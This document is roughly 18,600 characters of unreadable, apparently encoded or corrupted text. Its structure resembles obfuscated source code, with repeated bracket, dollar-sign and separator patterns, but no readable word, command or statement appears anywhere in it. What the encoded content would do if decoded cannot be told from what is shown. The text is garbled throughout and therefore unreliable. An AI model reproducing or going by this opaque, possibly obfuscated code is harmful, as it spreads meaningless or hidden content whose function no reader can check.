IRFDu_____W? L	WLOVW[	
HMF	V__YY___?IFMWLNVW[	
HMF	VV____
__[	
HMF	Du_______[MOO______B__W L	WLMVV__@_(/ <01+:1+ ;6-_E___WW L	WOVV_@_____>=,/>+7__Q_GKFWLLV__E__]]VDu______W[MOO__^BB_____]]V___u_[MNH__B__IFMWNLVW[MOOS__GKFWLKVV__Q_LWLJVDu_____W^? L	WLOVW[MNHVV__? L	WNIVW[MNHS___WKLITJHVS__
VDuu______W?LWLOVW[MNHV_____YY___?LWLNVW[MNHVV___u____W L	WMJVWGKFWLIVVV____?
	WIFMWLHV__Q_[MNHVDu______[830=>3,$ L	WLGV"_B__NDu_____[	
HMF	_B_____[MNHDu_u_____uuu_
__[	
HMF	Du___u_______
_
	LNFL NGWVu___u__[NKOIL_B_FH	
JWVDu_[	HNJFIFH__B___
 F	G	KOOWVDuPP_/7/_GQK___uu______W[NKOIL_BBB_____[	HNJFIFHV_
_
Du_____WIFMWLFVWLWKOVVV_uuuu___[KN	_B_?LWKNVW[NKOILVDuuuu__[H
L_B____?IFMWKNVW[	HNJFIFHVDu_
___W[KN	_^BB______YY_[H
L_^BB____YY_[KN	_BBB___[H
LVDu__uuu_____
___Du___u_
__KIIKM	WVu___u_
__WFLHKGTHNVDu_u_
______LMN	IIOMF MWVu________u_____W^WGKFWOVVV____
___]]Duu___[MOO__B__WLWKMVV_____@___(/ <01+:1+ ;6-__E__>=,/>+7__Q___ L	WLLVDu_
_ L	WNLVW[MOOS___LWLKVV_Q_ L	WKLV___Q_____GKFWFVW L	WKKVW>=,/>+7_Q__ L	WKJVVS_OS__WOHTONVV__Q__ L	WKIV__Q____ L	WFVWGKFWKKVW>=,/>+7_Q_ L	WKHVVS__OS__WMJO!MKMVV_Q___GKFWKGVDu_u
______O
OHW[OKN______B______
Vu______u__[LLMHN____B__LMN	IIOMF MWVDu_________W[LLMHN__BBB__]]V__
_____Du______W^IFMWKFVW[OKNV_____LWNOVW[OKNV___C__WKLNTIFVV_[OKN__B______	MNMWVDu____W^[OKN______^	JFO H
W[OKNVV___
_Du_____[NKOIL_B__LWNNVW[LLMHNVDuuu_____W^?IFMWJOVW[NKOILVV_ NKKW[NKOILS__WKNGTHJVS___
VDu____W^? L	WJOVW[NKOILV_______^?LWLNVW[NKOILVV_
_Du_________W?LWJNVW[LLMHNVV______uuu________WLWKKVW GH
JKHWWV_____?LWJMVW[LLMHNVVV_BBB_ L	WKKVW[OKNVV__
___
Du___[		___B__N OJW[LLMHNVDu___W[		__^BB____
_YY__	 W[		S__GIILHWVS_____XAXVV___
______Du_
W[		VDu_____u___W^
LKLJ	NW[LLMHNS__[OKNVV__
___Du__L 
	W[LLMHNS_WLLLTGHVVDuOFKKF W[LLMHNVDu________
___
Duu_
___IMHMH		OWVu___u__[OKN_B_____	MNMWVDuuuu____________W^[OKN____^	JFO H
W[OKNVV______
__Duuu_[	M	O___B_____ L	WNMVWNIFFOOL	OWVS____LWKGVVD[JJLL	M	B/7/ 61+ 2>'P/7/ 61+ 2>'D[GGL
KGIB[JJLL	M	TNHDu_[	KNIO_B__ L	WJLVWGKFWJKVV_@___
MHGO
G	
FWV_____E_WWLWKMVV__@___(/ <01+:1+ ;6-____E_]]VDu__W[	KNIO_BBB_]]V____
_Duu_[GONN
J___B_[	KNIO___Q_IFMWJJV__Q__[	M	ODu_______[__B_[GONN
J_Q____XPX__Q___[	M	O___Q__GKFWKGVDuuu___[IJ	LG__B___Du____WGKFWJLVW L	WKNVVV__u[JLMM_B_?LWKNVW[VDu_____[ MO
FI_____B__?LWJIVWNIFFOOL	OWVVDu[IJ	LG_B___W L	WKFVW[JLMMV_YY____ L	WKFVW[ MO
FIV_____YY_____[JLMM____BBB_[ MO
FIVDuuu__W^[IJ	LGV___u____W^?LWJOVW[GONN
JVV____ NKKW[GONN
JS__WKHHTNIVS__
VDuuuu_____W^?GKFWJOVW[GONN
JV_______^?GKFWLNVW[GONN
JVV__
__D[
FFNIB/7/ 61+ 2>'P/7/ 61+ 2>'D[	B[
FFNITMHDu________W^? L	WJNVW[V___LWJHVW GH
JKHWWV___? L	WJGVW[VVV__^BB_LWJFVW[OKNVV_u__W?IFMWJNVW[VV____u_____[		__B____N OJW[VDu_____W[		___^BB_
__YY___	 W[		S___GIILHWVS___XAXVV_
__Du_____
W[		VDu___uPP__Ruuuuu________W^
LKLJ	NW[S___LN
JW[OKNVVV_____
___DuL 
	W[S_WLKLTHHVVDuu_FKKKNLW[VDu_OFKKF W[VD[OFLJ B/7/ 2>50- ):-,601D[ NNB[OFLJ UNDu__uuu___W L	WJLVWGKFWIOVV____YY__IFMWINVWGKFWIMVVV__u[	JLKKKN__B__[	M	O__Q__XPX___Q__[	M	O_Q__IFMWKGVDu[GKF H____B__ WGKFWILVS____WVVDu__W^LWIKVW[GKF HVV___[GKF H___B__WVDu_________W^ L	WIJVW[	JLKKKNS___[GKF HS__
VV_u_[GKF H$"_B__[	JLKKKNDuuu__
 WGKFWILVS____IFMWIIVW[GKF HVVDu______u____uuuu
___
Duuuu_____u____
_N OJW[LLMHNVuu________[	MOHGM	N
__B____?LWIHVW[LLMHNS__S___
S___OS__WOMHTOGLVVDu____W^IFMWIGVW[	MOHGM	N
VV__
_
Du____WGKFWIFVWIFMWHOVS___[	MOHGM	N
S_[	HNJFIFHVV_
_[	HNJFIFH$N"Du_
____
Du______u__u___
______F L	W[GS__[NL	Vu__uPP__
_	uu?W
S______[GVDuuu_____[NFK		______B____? L	WHNVW[GVDu__W^[NFK		___W[NFK		__Z_WFFFFOTNOVV_^BB__KIIKM	WVV_uPP_(/_=
_=E_
_Ruu____
___Duuuu_______u___[FOM___B__?LWHMVW[GVDu_
__[FOM__YY_[FOM___AB___[NL	Du_u
_JOHLOMWVuuuu_u___
___WLJFHFTMNVDuu__
_MOH	MGWVu_____u
__ L	WHLVDuu____
___N FHJJHOWVu________u____
_____ L	WHKVDu_u___
_____NONJFFFNWVuuu_uu______WGKFWINVWGKFWHJVVV______
_
Du_____WIHKHJWVV__
____
Du_______[OJ
H	___B__W[ ,:-):-$IFMWHIV"V_@_____ L	WHHVWWV____[ ,:-):-$LWHGV"V__E__]]Du_____W[OJ
H	__^BB____]]__YY____WIFMWHVW[OJ
H	S__ L	WHFVV__^BB________GKFWGOVW[OJ
H	S____GKFWGNVV__^BB_________ L	WGOVW[OJ
H	S_GKFWGMVV_^BB_____VV___
__
Du______W[OJ
H	_BBB_]]___YY__GKFWGLVWV__^BB_____ L	WGKV____YY__W[ ,:-):-$LWGJV"VV___
_____
Du_
_Duuu___u______
____IHKHJWVu[
KLFMB/7/ 61+ 2>'P/7/ 61+ 2>'D[KL	IB[
KLFMTIDu___[OJ
H	___B__W[ ,:-):-$LWHGV"V___@___[ ,:-):-$GKFWGIV"__E___]]Duu_______
__IFMWIGVW[OJ
H	V___YY__W[OJ
H	S___IFMWGHVV_^BB_Du_____u
____K W[OGOGVu__u__[HN	 _B__ L	WINVWIFMWGGVV__@_?LWGFVWLWFOVV_E_Duuu________W^[HN	 ________[HN	 __BBB_]]V_
_
Du_[JOM_B____?IFMWFNVW[OGOGVDu_____W^[JOMV___[JOM_B_[OGOGD[
M 		BRGMD[
OBW[
M 		AOV@[
M 		ER[
M 		Duu___W L	WFMVW/>+7 ,:/>->+0-S___[HN	 V_____[HN
OV_u_[HN
O_B___ L	WNLVW[HN
OS__IFMWLKVVDu___W[HN
O_YY______W[JOM___BBB____[HN
O___GKFWFLVW[JOMS_[HN
O_Q_____;6-:<+0-& ,:/>->+0-V__BBB____OVV_____
__
Du___u________
___Du___u__
__		M NHLLW[OIGONVuu______u[OJJ 
G___B____[OIGON_Q_XX__Q_WW L	WFKVV__@___;= 1>2:_E___]]V__Q___XX_Q_____WWIFMWOVV____@__>=,/>+7__E_]]VDuuu_
__GKFWFJVW[OJJ 
GVDuuu________u_____
____FHMJJFGIFKNW[OIGONVu______u____[Du__W^W[830=>3,$ L	WFIV"V______^ L	WIKVW[830=>3,$IFMWFHV"VV__[830=>3,$ L	WFHV"__B_WVDu_____________W^W[830=>3,$IFMWFHV"$[OIGON"VV___u__[830=>3,$LWFHV"$[OIGON"TTDu
___
Duu__u________WGKFWFGVW[V_YY__LWFFVW[S____ L	WNOOVVV_u_[MNKF
JHI__B_____?[RA 	W L	WNONV_Q__		M NHLLW[OIGONV_Q_LWNOMVVDu____W[MNKF
JHI__BBB_XNXV__uPP_/,-RK_E__Ruu_[830=>3,$LWFHV"$[OIGON"____B____NDu___
_
Duuuu___W[MNKF
JHI__BBB___XOXV_
__Du_____u___WIFMWINVWIFMWNOLVV__YY__ L	WINVWIFMWNOKVVV_uPP_	_Ru[ OBJUMD[IJLB[ ORNDu____[
NJ
____B_WVDu_____W L	WINVWGKFWMGVVV_____[
NJ
$"__B__IFMWMGVWVDu_WW L	WNOJVVV__[
NJ
$"_B_(/ <01+:1+ ;6-Duuu________WWLWOVVV_[
NJ
$"_____B__IFMWNLVW>=,/>+7S___IFMWNOIVVDuuu________W[
NJ
______[NKOILV___uuuu______W[NKOIL__BBB_]]________^?GKFWNOHVW[NKOILV______^? L	WLNVW[NKOILVV__
Du__[LMH_B___?IFMWNOKVW[NKOIL__Q__IFMWNOGV_Q_		M NHLLW[OIGONV______Q_GKFWNOFVS______XXVDu_____W[LMH_^BB__V___u_______W^?W[LMHS_30<4 :'__30<4 1=VV______uPP__
RRuu__?W[LMHVDu__
_Du______u____W^W[830=>3,$GKFWNNOV"V____^ L	WNNNVW[830=>3,$ L	WNNOV"VV___[830=>3,$IFMWNNOV"__B__WVDu__[830=>3,$GKFWNNOV"$[OIGON"__B____[LMHDu[830=>3,$LWFHV"$[OIGON"____B_NDu
___
Du___u____u_uuuu____
___Du__u_
__JLFMFW[OIGONVuu____[Du___WW[830=>3,$LWNNMV"$[OIGON"VV__
Duuuu_[830=>3,$ L	WNNMV"$[OIGON"RRDuu__W[830=>3,$GKFWNNLV"$[OIGON"___A__OV_
Du_
W[830=>3,$LWNNLV"$[OIGON"VDu________WW[830=>3,$GKFWNNKV"$[OIGON"VV__u?W[830=>3,$GKFWNNJV"$[OIGON"S______30<4 *1VDu?W[830=>3,$ L	WNNIV"$[OIGON"VDu____
W[830=>3,$ L	WNNHV"$[OIGON"VDuuu_____WGKFWFGVW[V_____YY______IFMWFFVW[S___ L	WNNGVVV___uuu____?[RA
WIFMWNNFV___Q_		M NHLLW[OIGONV__Q_ L	WNMOVVDuuPP_
_uuu____
__	HGFJKOWVuuu_______WWGKFWNMNVV_YY_;6,>330( 963: 20;,V_____
_Du_
__
Du____u______
__KKGMM 

W[ HKGGS__[NJN MVu__u__u_W WLWNMMVV___YY_[NJN M___+V_u___[	
L_B_____ L	WFVW[ HKGG_Q___GKFWNMLV__Q___[NJN MRA2WVS_OS_WLIKRNOGVVDu________W[NJN M____:V___u[	
L_B__LWNMKVW[ HKGG__Q__LWNMJV_Q___[NJN MRA2WVS____OS____WNHKTGMVVDuuuu_______WGKFWNMIVW[NJN MV__YY___GKFWNOVW[NJN MV__A____OV____u[	
L__B_LWNMHVW[ HKGG___Q_LWNMGV_Q_[NJN MS______OS_WMOITJOVVDu_______u
DuuPP__uu____W^W[830=>3,$LWNMFV"VV___[830=>3,$GKFWNMFV"____B____WVDu_____W^ L	WIJVW[	
LS______[830=>3,$IFMWNLOV"S_
VV___u_______[830=>3,$ L	WNLOV"$"___B____[	
LDu_u________W L	WNLNVW[830=>3,$GKFWNLMV"V__A_____WMKTMIVV__u_[830=>3,$IFMWNLLV"____B_GKFWNLKVW[830=>3,$IFMWNLJV"S_RWLOTMOVVDu_____u____W+_[	G	OFV_____uPP_/_/7/_M__	uu_____W:____[	G	OFV_____uuuu____u____u
_____MO	OL
	W[	MOHGM	N
S___[	I ONGS____[LLMHN__B____WITKVS__[OMON
	__B___NVu__u__W^GKFWINVWGKFWNLIVVV__
___Du____WGKFWNLHVW[	I ONGVV__u_
__ W[	MOHGM	N
S__
___WQQQ[
	JFN	JOV___
___W[	I ONGV_u_______W L	WINVW[	I ONGVV____
_[	I ONGWQQQ[
	JFN	JOVDu
_
DuS___[LLMHNS____[OMON
	VD[ 	 	B/7/ 61+ 2>'P/7/ 61+ 2>'D[	KNFLB[ 	 	TGNDu_____u_
____ W[	MOHGM	N
S___[	I ONGS_[LLMHNS_[OMON
	VDu_uuu_
_L OJFHGJW[	MOHGM	N
S___[	I ONGS______[LLMHN__B___WIF!HFVS___[OMON
	_B_NVuu____u_________W^GKFWINVWIFMWNLGVVV_
_____Du__W L	WNLHVW[	I ONGVV______uuu__
___ W[	MOHGM	N
S_
__WQQQ[
	JFN	JOV_
__W[	I ONGV__uuu_WLWNLFVW[	I ONGVV____
_[	I ONGWQQQ[
	JFN	JOVDu________
_W[
	JFN	JO$O"V____@__[
	JFN	JO$O"_E___
Du_____S__[LLMHNS__[OMON
	VD[		INFBWOMLTOGVD[FLB[		INFZNLDu______u____
_____ W[	MOHGM	N
S______[	I ONGS____[LLMHNS_[OMON
	VDuu___u_
___	MGLGWVuu____[HN
O___B_____WIFMWNKOVV___@____(/ <01+:1+ ;6-_Q_IFMWNKNV___Q__F
W>=,/>+7_Q_IFMWKJVS__WHTNVV____E______LWNNVWNIFFOOL	OWVV__Q_IFMWNKMVDu__W^?LWNOHVW[HN
OV______YY_____K W[HN
OVV____uuu NKKW[HN
OS___WOMGTONJVS____
VDu_____W? L	WNOHVW[HN
OVV____u___LFMOHMH
FW[HN
O__Q__ L	WNKLVS_____]C@_PP_,__Q#]S_IFMWKJVVDuu____u______W?LWNKKVW[HN
OV_YY__?IFMWNKJVW[HN
OVV_____uPP__
uu
_[HN
ODu___uPP__R__(/_8_,uu____[IGFLNLH____B_LWNNVWNIFFOOL	OWVV___Q_IFMWNKMVDu____W^?LWNKIVW[IGFLNLHV___YY___K W[IGFLNLHVV__ NKKW[IGFLNLHS_____WKMHTIIVS__
VDuu_W? L	WNKIVW[IGFLNLHV___YY_?IFMWNKJVW[IGFLNLHVV___
_[IGFLNLHDu[__B__ L	WNNVWNIFFOOL	OWVVDuuu___________W? L	WNKJVW[V_YY__[__^BB__
 F	G	KOOWVV____
___[Du__WWIFMWNKOVV_YY____?LWNKHVW(/ <01+:1+ ;6-V_YY____K W(/ <01+:1+ ;6-VV_
_____(/ <01+:1+ ;6-Du____
__[HN
ODu__u__
___
MHGO
G	
FWVuu__WWLWNKOVV____YY_____?LWNKHVW(/ <01+:1+ ;6-V__YY___K W(/ <01+:1+ ;6-VV__
_____(/ <01+:1+ ;6-Du_______[FKMM_B__ L	WNKGVWNIFFOOL	OWVVDu_____WK W[FKMMVV___
_[FKMMDu__
__(/ <01+:1+ ;6-Du__u___u__
____NLGIM	NJW[OGOGVu_uu____WW[830=>3,$GKFWNKFV"V____^ L	WNJOVW[830=>3,$GKFWNJNV"VV___
_Du_WW[830=>3,$IFMWNJMV"$[OGOG"VV_
__
Du_[JOM_B__LWNLFVWIFMWNJLVV_@_?GKFWNJLVW[OGOGV__E_Du___
___W[JOM__^BB_______YY_____W[830=>3,$IFMWNJMV"$[JOM"VVDuuuuuuuu__
_I
 		NOHHW[OGOGVu_uPU_	__UPu[IMBFMUHD[LL
B[IMRLDu_WW[830=>3,$GKFWNJKV"V_____^ L	WNJOVW[830=>3,$ L	WNJKV"VV__
Duuu_
W[830=>3,$ L	WNJKV"$[OGOG"VDuuuu____[JOM_B__ L	WNLFVWLWNJLVV_@___?IFMWNJLVW[OGOGV__E_Du___W[JOM__^BB____V____
W[830=>3,$IFMWNJJV"$[JOM"VDuuuuu
______ JNW[OGOGVu_______u__________W^W[830=>3,$ L	WNJJV"V____^GKFWNJOVW[830=>3,$LWNJIV"VV_u_____[830=>3,$GKFWNJIV"__B____WVDu_uu[FJK	_B___LWNLFVW L	WNJLVV__@___?LWNJHVW[OGOGV_____E_Duuu_[830=>3,$LWNJIV"$[FJK	__^BB___@_[FJK	_E__[OGOG"___B___[OGOGDuuu___[NGFMO__B__Du___W^[NGFMOV_uuu____[NGFMO___B__
Du________WLWNJGVWLWNJFVVV__GKFWNJFVWLWNIOVVDuuu_uu___uuuu_
_____	NN J NWVuu____WW[830=>3,$GKFWNINV"V____^LWNIMVW[830=>3,$LWNINV"VV__u___
Duuu_u______W[830=>3,$IFMWNILV"____[ IFJ GG___BA__[NGIL KKV___u_________W^ L	WNLHVW[NGIL KKVV_[NGIL KK_B____[ IFJ GGDuuu____W[ IFJ GG____BBB____NIFFOOL	OWV____[NGIL KK_____BBB_____NIFFOOL	OWVV__
Duuu___u_____W? L	WJNVW[NGIL KKVV__u________W L	WNJGVWIFMWNIKVVV____L 
	W[NGIL KKS_WOJHTONKVVDuuuu_______WLWNJGVW L	WNFVV____YY_O
	LW[NGIL KKV_YY_ L	WNJGVWGKFWNIJVVV__? 	W[NGIL KKS__
VDuuuuu________W+_[NJN MV_u______W:_____[NJN MV__uPP_(/_/_;E__uuu__u_u__
______OK
FWVuuuu_uuuu___u__[NJN M____B__IFMWNIIVWLWNIHVV___@_?  WV____E_____
Du_______W^ L	WNIGVW[NJN MV____W[NJN M$GKFWNIFV"V______W[NJN M$GKFWNHOV"VV_
Du____W^LWIJVW[NJN M$GKFWNHOV"S___W: :--0-S___: />-,:S____: <0-: :--0-S_: <02/63: :--0-S__: *,:- :--0-VS__
VV_
Du[	HNJFIFH____B_____W[NJN M$IFMWNHNV"V____@___WV_[NJN M$GKFWNHMV"__E__]]Du_WW[	HNJFIFHS_LWNHLVV_____^BB___________W[	HNJFIFHS__ L	WNHKVV_____^BB___V____
Duu__[IJ	LG__B____ L	WNIIVW L	WNJHVV_@____?GKFWNHJVWNIFFOOL	OWVV__E_NIFFOOL	OWVDu_[ __B_LWNIIVWLWNHIVV___@__?LWNHHVW[NJN M$ L	WNIFV"V_E_[NJN M$GKFWNIFV"D[
B/7/ 2>50- ):-,601D[	 H	KB[
UFDuuu________W^LWNHGVW[IJ	LGV_____^LWNHGVW[ V___[ _^BB____[IJ	LGV__
Duuu_______WW[830=>3,$GKFWNHFV"VV_u_______[MK	OKL__B__?IFMWIHVWNIFFOOL	OWVS____S_____
S__OS__WNOLTLFFLVVDu____WGKFWNHGVW[MK	OKLV___YY__ L	WIFVWGKFWHOVS__[MK	OKLS__[ V__YY___[ $N"__^BB__WV__[830=>3,$IFMWNHFV"V___
D_u
W[MK	OKLS__[ VDu________WW[830=>3,$GKFWNGOV"VV___uPU___UPuu_____WGKFWNIIVWLWNGNVVV__?W
S_NIFFOOL	OWVVDuu______[OGF_B__WV___?GKFWNGMVWNIFFOOL	OWVV___Q__XEX____Q__WV_?GKFWHNVWNIFFOOL	OWVVDu______W[OGF___^BB____WV__[830=>3,$GKFWNGOV"V_
D___u______
W[OGFVDuuu_u_____u[	M	O__B____LWNMVWNIFFOOL	OWVS_IFMWNGLVVDuu_____[KM ____B___IFMWFJVW GH
JKHWWV__?GKFWIHVWNIFFOOL	OWVVVVDu_____LFMOHMH
FWGKFWNKGVWNIFFOOL	OWVV___Q_ L	WNGKV__Q_[	M	OS_[KM S_XXVDu____W[KM _^BB___]]V______uLFMOHMH
FWIFMWNKGVWNIFFOOL	OWVV____Q___IFMWNGJV______Q____[KM S___WV_LWNGIVWVS___XXVDu______WLWNGHVW L	WNGGVVV_u______?
 W L	WNGFVS_____[KM _Q__XX_____Q_IFMWNFOVWVS___GKFWNFNVVDu_u_____u_______[K	NMN_B___
 F	G	KOOWVDu_______W[K	NMN___^BB__IFMWNFMVWNIFFOOL	OWVV____YY_?LWNKIVW[K	NMNV___YY___?IFMWNKHVW[K	NMNVV____uuuu____LFMOHMH
FW[K	NMN__Q______GKFWNGKV____Q__[	M	OS__[KM S____XXVDu_u_____WGKFWNGHVWIFMWIOVV___YY____ L	WNFLVW L	WNGGVVV_uuu_[N	LL____B__ W L	WNFKVS___WVVDu____WIFMWNIGVW[N	LLV___YY_IFMWNFJVWOJIHFOFIOWVS___[N	LLS_
VV___u?
 WGKFWNFKVS_LWIIVWLWNFIVW[N	LLS_____WOJIHFOFIOWVVVVVDu______u__uIJL	FGFLMFW L	WNFHVVDu[HIN	M _B_NIFFOOL	OWV____Q____ L	WNFGVDu________WLWNFLVWGKFWMLVVV_?LWNFFVWNIFFOOL	OWVS_[HIN	M VDu_______WLWNFLVWLWMOOVVV_uu? 	WNIFFOOL	OWVS__
VDuuu_____? 	W[HIN	M S__
VDu__uuuuuu_________WWGKFWNFMVW[HIN	M VS_
 F	G	KOOWVV__[OHIGV___uuu[L	F	J__B_
MN
LHJH
W[OHIGVDuuuu__W^LWNIGVW[L	F	JVV___
D[NJLGFJIBHJKD[FKI BW[NJLGFJIAOV@[NJLGFJIER[NJLGFJIDu_______W[L	F	J_______[	LOV_____u_____WLWNMHVW[	LOS____RWNJRHVV_^BB___IFMWMONVV_
Du__[
HMOI_B__[OHIG__Q___XPX_Q__[	LODu___[KH___B__?IFMWMOMVW[
HMOIVDu_____W[KH__YY__[KH_C_IFMWMOLVWV_____R__WIOKHIFTLNVV____uPP__uu____L 
	W[
HMOIS_WKNGTMVVDuuuu_O
	LW[
HMOIVDu_u______u____uuu___
W[OHIGS___[L	F	JS__[	LOS_[
HMOIS____[KHVDu___________W+____[	G	OFV___u________W:_[	G	OFV_____uuu_
______FLMLKW[OGOGS__[IOI	HILVu_u_______u__W^IFMWNHGVW[OGOGV________[OGOG____BBB__]]_______^LWNHGVW[IOI	HILV_____[IOI	HIL__BBB___]]V___
Du_[HN
O___B___IFMWMOKVW[OGOGVDu___W^?IFMWMOJVW[HN
OV__________^?IFMWNKHVW[HN
OVV_
Du_[ KJFN____B__[HN
O___Q_ L	WMOIV___Q___GKFWMOHVW[OGOGS____ L	WNGLVVDu[IH

N HNM_B__?GKFWMOGVW[ KJFNVDu_WGKFWMOFVW[IH

N HNMV_____YY_LWIFVWGKFWMNOVS_____[IH

N HNMS___[	HNJFIFHV___YY___	 W[	HNJFIFH$O"S_____[IOI	HILS______ L	WMNNVVV_
Du______WLWNFLVWGKFWMNMVVV___?GKFWMNMVW[ KJFNS___[IOI	HILVDu_______W+____[NJN MV_uuu_____W:__[NJN MV__u__u___u________
_GGNNIWVuu_________u_W^ L	WMNLVW L	WIOVVV__uPP_/,-RK___uu__
Du__u______W? WIFMWMNKVS_OVV_[LI	JBNMIMKID[
OGOMB[LI	J!LDuu_MO	OL
	WGKFWMNJVS_GKFWMNIVS_OVDu___u____W^FHMJJFGIFKNWGKFWMNHVVV___
Du___u____[
MJ_B__LWNMHVWIFMWMNGVW>=,/>+7___Q__WV___KIIKM	WVVS____OS___WOJTOHVVDuuu___[MJKMN____B_____WV__? W[
MJS___]]VDu__[LGK__B____GKFWMNFVDu____[			NIJ HO_B_]]Duuu_____uu[M NI_B___	WGJL
GJ
FWVVDu__[ JGHNL____B__GIILHWVDu_[HOGLJIG_B____[ JGHNL___Q__XX__Q__[M NIDu_u__W L	WFLVW[MJKMNS___XXV__^BB___V_uuu____[JI
_B__LWMMOVWXXS_[MJKMNS____MVDu[LGK___B___[JI
$O"Du____[			NIJ HO_B___[JI
$N"D____u______u__u___[			NIJ HO__B__[MJKMNDu_uu__W^[			NIJ HOV_u_?
 W[
MJS___[HOGLJIGS___ L	WMMNVVDu_
Duuu____uuuuu____W[			NIJ HO_BBB___[M NIV____u_____W[MJKMN_^BB__[HOGLJIG___YY___	 W[ JGHNLS_[LGKS___LWMNNVVV_____u__?
 W[
MJS_[HOGLJIGS___LWMMNVVDu_u
Du_______u____u_[GJGINK___B__	W[			NIJ HOVDu________W[GJGINK___BBB_____]]_____ L	WMOHVW[GJGINKV___^BB____[GJGINKV__u__?
 W[
MJS____[HOGLJIGS_LWMMNVVDu__
Du_u_______[	FNFNK____B___
 F	G	KOOWV_Q____XPX__Q___[GJGINKDuuu__[IJK___B____]]Du___WWGKFWIVVV___u[IJK_B___(/ /3*861 ;6-_Q_____XPX_Q_GKFWMMMVW[GJGINKS_/>+76190 963:1>2:V_Q__XPX___Q____[GJGINKDu______uuuu______u__[		LG
G	_____B_? L	WNGMVW[	FNFNKVDu___[
LO O_B_____[		LG
G	__^BB______YY____[		LG
G	_AB____WONMITONNVDuuuu______[K__B___[IJK__@___?GKFWMMLVW[IJKV_E___Du__[ OF____B_[K___^BB________YY__[K_____AB__WLHLFTNMINVDuu___W^[
LO O_YY___^[ OFV__u_?
 W[
MJS_[HOGLJIGS____GKFWMMNVVDu___
D[G B/7/ 2>50- ):-,601D[JM	B[G UKDu___uu__[	_B__[
LO O______@___[	FNFNK_____E____[IJKDu[	LKOFH____B___?IFMWMOGVW[	S___S__
S__OS_WKFNMRGNIVVDu__uu__________WGKFWMOFVW[	LKOFHV__YY__GKFWMMKVWIFMWMMJVS__[	LKOFHS_____[ VV__u[LGK___B_[ $N"Du_____WF L	W[	S__WINJIRNNJIVVV__uu_[LGK__B_GKFWMNFVDuu_u______
W[	LKOFHS_____[ VDu_[   G_B__[
LO ODuu__W^[   G__YY____[ OFV_u_[HMLOJ___B__ L	WMMMVW[GJGINKS__/>+76190 963:1>2:V_____Q__XPX__Q__[GJGINKDu[HGIH___B__WV____? WGKFWMMIVS__WVVDu________[   G_____B__ L	WNFJVW[HMLOJS_____[HGIHS__
VDu____W^[   G_YY____GKFWMNLVWGKFWMMHVV__YY_____ 
WV__YY___IFMWMMGVWLWMMFVVV___u[	IG_B____WV__?  WIFMWMLOVS____WVVDu_____[   G__B___W[	IG$[HMLOJ"VDuuuu__
W[	IGVDu____uu_u____
W[HMLOJS_[HGIHVDuuu___uu_______[HNLM__B___	 W[ JGHNLS_____[LGKVDuu____W[HNLM_CB___OV_uuu[NG	 ______B___F L	W[	S_WKFMHTHLVVDu_[	O _____B__WV_?GKFWMMLVW[	VDu_____[LKFMLF____B__W^[NG	 ____[	O ___A_WHLMGLJOKRMOGJKHOKVVDu______W^[LKFMLF_YY_[	O _A_WOMMGTONOGVV_____uPP__uu___[F
N_B___?IFMWMLNVW[	S__S__
S__OS__WKONITGOVVDu________W^ L	WMLMVW[F
NV________^LWMMKVW L	WMLLVS__[F
NVV___[LKFMLF__B__
Duuu__uuu__________W^[LKFMLF__YY_^H	JM
JHHW[	VV_[LKFMLF__B____
Du_______W^[LKFMLFV___u__[IH___B__GNGIKWVDu___W^W[IH$ L	WMLKV"VV_uPP_/,-RNJ_E__uu__[KKF____B____?IFMWMLJVW[IH$GKFWMLKV"VDu__[K
NKJOOG_____B_____? L	WMLJVW[	VDu____WLWMLMVW[KKFV_YY__ L	WMLMVW[K
NKJOOGV__YY______[KKF__BBB___[K
NKJOOGV__u_____[ J_B__
NM	
HW[IHVDu________W[ J___BBB__GKFWMLIV____[ J__BBB____ L	WMLHVV__[LKFMLF_____B___
Du_____u
W[KKFS__[K
NKJOOGS_[ JVDu_uPP__R__(/_8
_=uu___W^[LKFMLF______YY__	OJW[	VV__[LKFMLF_B___
Du
W[IHVDu___u_____W[LKFMLFV__u_W[NG	 V__ JNW[	VDu_?
 W[
MJS___[HOGLJIGS_LWMMNVVDu
Du____u__W^[   GV___u__?
 W[
MJS__[HOGLJIGS_ L	WMMNVVDu_
Duuuu___u___FLMLKWNIFFOOL	OWVS__[LGKVDu___LL 	WNIFFOOL	OWVVDuuu__
_____
Duuu______WW[830=>3,$GKFWMLGV"VV_uu_[830=>3,$LWMLGV"____B____
Du__WF L	W[	S___WKFFNTFVVV__ JNW[	VDu[	NO__B__LWMOLVWVDuuu_OOKHH
 LGWNIFFOOL	OWVS___W[	NO__R______W[	NO___Z____WNJOGNNRJOGNNVVV___T__KIIKM	WVVDu___
W[	NOVDuuu________FLMLKW[	FNFNKS___[ JGHNLVDu__________W[IJKV_FLMLKW[IJKS___[ JGHNLVDuMO	OL
	WGKFWMLFVS____IFMWMKOVS__OVDu?
 W[
MJS____[HOGLJIGS__LWMMNVVDuIJL	FGFLMFW L	WMKNVVDu__W[IJK_^BB____]]__YY___GKFWMMGVWLWNGGVVV____u___[
JKHJ
GJHJ__B_____LWMMMVW[GJGINKS_/>+76190 963:1>2:V______Q____XPX_Q_____[GJGINKDuu[HGIH_B___? WGKFWMMIVS_WVVD[ MKO		B/7/ 2>50- ):-,601D[	FHLGGB[ MKO		UNDuuuu____WIFMWNIGVW[HGIHV__YY__GKFWNFJVW[
JKHJ
GJHJS___[HGIHS__
VV___u__?
 WIFMWMMIVS____LWIIVWGKFWNFIVW[HGIHS__W[
JKHJ
GJHJVVVVDuu_
W[
JKHJ
GJHJS_[HGIHVDuu_u__
Duuuu_______W+__[NJN MV__u__KKGMM 

WLWMKMVS_[NJN MVDuuuu_________W:__[NJN MV__u______u___JLFMFWGKFWMNHVVDuuuu__uuu_u_
__
MN
LHJH
W[HN
OVuuuu___W L	WMMGVWLWMKLVV_YY___IFMWMMGVWGKFWMKKVVV__uuu_[I
 KL_B_?GKFWMKJVW[HN
OVDuu__W[I
 KLV__[KHGBMLLNNND[OOOMM B[KHG!FLDu__[	L ____B____WVDu__WW[NJN M__B__?IFMWMKKVW[I
 KLVV___^BB__V____u__W[NJN M___^BB_XQX__YY_[NJN M__^BB_LWMKIVV____[	L $"___B_[NJN MDu_u_____WIFMWMKHVWLWMKGVVV_____? L	WMKGVW[I
 KLVDu______
____[	L Duu______u_______WLWMKFVWIFMWMJOVVV_u___[MNKF
JHI_____B_?LWMJOVW[HN
OVDu____W L	WNIGVW[MNKF
JHIVV__
__ L	WMJNVW L	WNFIVW[MNKF
JHIS_WXQXS_____IFMWMKIVVVVDu______uu___W L	WMJMVWIFMWMJLVVV_u__[GHGIGKL__B_? L	WMJKVW[HN
O_Q____ L	WMJJVVDu_________WGKFWNIGVW[GHGIGKLVV_
